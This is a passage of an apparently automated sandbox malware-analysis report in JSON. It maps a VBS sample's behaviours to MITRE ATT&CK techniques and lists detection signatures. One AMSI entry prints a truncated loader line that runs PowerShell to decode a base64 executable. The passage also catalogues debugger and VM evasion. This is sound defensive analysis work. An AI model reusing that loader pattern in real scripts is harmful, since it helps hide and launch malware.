API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API during runtime"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Scripts code detected via AMSI (Antimalware Scan Interface)"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)"},{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Execution","technique":"Visual Basic","attack_id":"T1059.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/005","identifiers":[{"type":"suspicious","value":"Executes a VBS file"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Loaded modules"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to start a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Allocates virtual memory in a self process"},{"type":"informative","value":"Calls an API typically used to map section into the virtual address space of a process"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to opens the access token associated with a process"},{"type":"informative","value":"Calls an API typically used to opens the access token associated with a thread"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Tries to detect debugger using ProcessDebugPort"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"informative","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Calls an API typically to used to retrieve file or directory information"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"suspicious","value":"Found system commands related strings"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"References to WMI query strings used for process discovery"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to create string binding handle (RPC)"},{"type":"informative","value":"Calls an API typically used to register protocol sequence (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"suspicious","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URL in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Calls an API typically used to terminate process and its threads"}],"sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"WScript.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00007008)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00007008)\n \"WScript.exe\" called \"FindResourceW\" (UID: 00000000-00007008)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00007008)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00007008)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"WScript.exe\" called \"LoadResource with parameter {'hModule': '3513909249', 'hResInfo': '3513910496'}\" (UID: 00000000-00007008)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '3513909249', 'hResInfo': '3513910528'}\" (UID: 00000000-00007008)\n \"WScript.exe\" called \"LoadResource with parameter \" (UID: 00000000-00007008)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '3513909249', 'hResInfo': '3513910544'}\" (UID: 00000000-00007008)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '3513909249', 'hResInfo': '3513910512'}\" (UID: 00000000-00007008)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"\"WScript.exe\" queried SystemProcessInformation at 00000000-00007008-00000C13-73749053 [PID: 7008]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00007008-00000C13-73750233 [PID: 7008]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00007008-00000C13-74239759 [PID: 7008]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00007008-00000C13-74241004 [PID: 7008]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00007008-00000C13-74753021 [PID: 7008]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00007008-00000C13-74754222 [PID: 7008]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Scripts code detected via AMSI (Antimalware Scan Interface)","description":"Script name: C:\\43564.vbs contents: \nIHost.CreateObject(\"WScript.Shell\");\nIWshShell3.Run(\"powershell.exe [Byte[]] $rOWg = [system.Convert]::FromBase64string('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAA\", \"false\");","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1059.001","relevance":5,"id":"amsi-2","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)","description":"Process \"WScript.exe\" executed suspicious script","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1059","relevance":10,"id":"amsi-0","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Tries to detect debugger using ProcessDebugPort","description":"\"WScript.exe queries ProcessDebugPort (UID: 7008)","origin":"API Call","mitre_attack_id":"T1622","relevance":5,"id":"api-238","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Reads the cryptographic machine GUID","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"WScript.exe\" called \"IsWow64Process\" with parameter \"7008\" - (UID: 00000000-00007008)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"WScript.exe\" called \"RtlGetNtProductType\" (UID: 00000000-00007008)\n \"WScript.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007008)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$27","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$28","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"WScript.exe\" called \"LookupAccountSidW\" (UID: 00000000-00007008)\n \"WScript.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00007008)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"WScript.exe\" called \"GetLocaleInfoW\" (UID: 00000000-00007008)\n \"WScript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00007008)\n \"WScript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00007008)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"file/memory contains long string with (Indicator: \"select * from \"; File: \"0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin\")\n Found string \"'private const X_HelpEnum_014_0_Message = \" winrm enum wmicimv2/* -filter:\"\"select * from win32_service where StartMode=\\\"\"Auto\\\"\" and State = \\\"\"Stopped\\\"\" \"\"\"\" (Indicator: \"select * from \"; File: \"0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"Found string \"Set dUDzac = WScript.CreateObject(\"WScript.Shell\")\" (Indicator: \"set \"; File: \"0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"file/memory contains long string with (Indicator: \" Win32_Process\"; File: \"0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin\")\n Found string \"private const L_HelpInvoke_016_0_Message = \"Example: Call Create method of Win32_Process class with specified parameters:\"\" (Indicator: \" Win32_Process\"; File: \"0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"General","name":"Calls an API during runtime","description":"$29","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-265","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2b","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \" $\"[TXT]\"$ CIM_CreateDirectoryAction.xsd26-Aug-2020 04:24 12K \" (Indicator: \"CreateDirectory\"; File: \"urlref_httpschemas.dmtf.orgwbemwscim1cim-schema2\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"file/memory contains long string with (Indicator: \"StartService\"; File: \"0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin\")\n Found reference to API \"private const L_HelpInvoke_008_0_Message = \"Example: Call StartService method on Spooler service:\"\" (Indicator: \"StartService\"; File: \"0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin\")\n Found reference to API \"private const X_HelpInvoke_009_0_Message = \" winrm invoke StartService wmicimv2/Win32_Service?Name=spooler\"\" (Indicator: \"StartService\"; File: \"0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4.vbs.bin\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7008:304:WilStaging_02\"\n \"SM0:7008:120:WilError_01\"\n \"Local\\SM0:7008:304:WilStaging_02\"\n \"SM0:7008:304:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:7008:304:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:7008:120:WilError_01\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"General","name":"Loaded modules","description":"$2c","origin":"Loaded Module","mitre_attack_id":"T1574.002","id":"module-11","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$2d","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 9A0D0000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at A0F10000\n \"WScript.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at A0680000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at A2350000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"WScript.exe\" called \"WScript.Shell.1.CreateObject\" ...","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a004600000040c7dfa0fc7f0000@ntdll.dll\"\n \"\"#F@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\system32\\version.dll\" [Source: 00000000-00007008-00000C1E-73387091]\n Observed system executable string:\"%WINDIR%\\system32\\advapi32.dll\" [Source: 00000000-00007008-00000C1E-74055986]\n Observed system executable string:\"%WINDIR%\\system32\\kernel32.dll\" [Source: 00000000-00007008-00000C1E-75314539]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Installation/Persistence","name":"Allocates virtual memory in a self process","description":"\"WScript.exe\" allocated memory in \"%WINDIR%\\System32\\WScript.exe\" with (Protection: \"read/write\")\n \"WScript.exe\" allocated memory in \"%WINDIR%\\System32\\WScript.exe\" with (Protection: \"no access\")\n \"WScript.exe\" allocated memory in \"%WINDIR%\\System32\\WScript.exe\" with (Protection: \"execute/read/write\")","origin":"API Call","mitre_attack_id":"T1055","relevance":1,"id":"api-262","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"WScript.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"urlref_httpschemas.dmtf.orgwbemwscim1cim-schema2\" has type \"HTML document ASCII text\"- [targetUID: 00000000-00007008]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"$2f","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"646dc3acff589f737f0151af"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$30","origin":"Registry 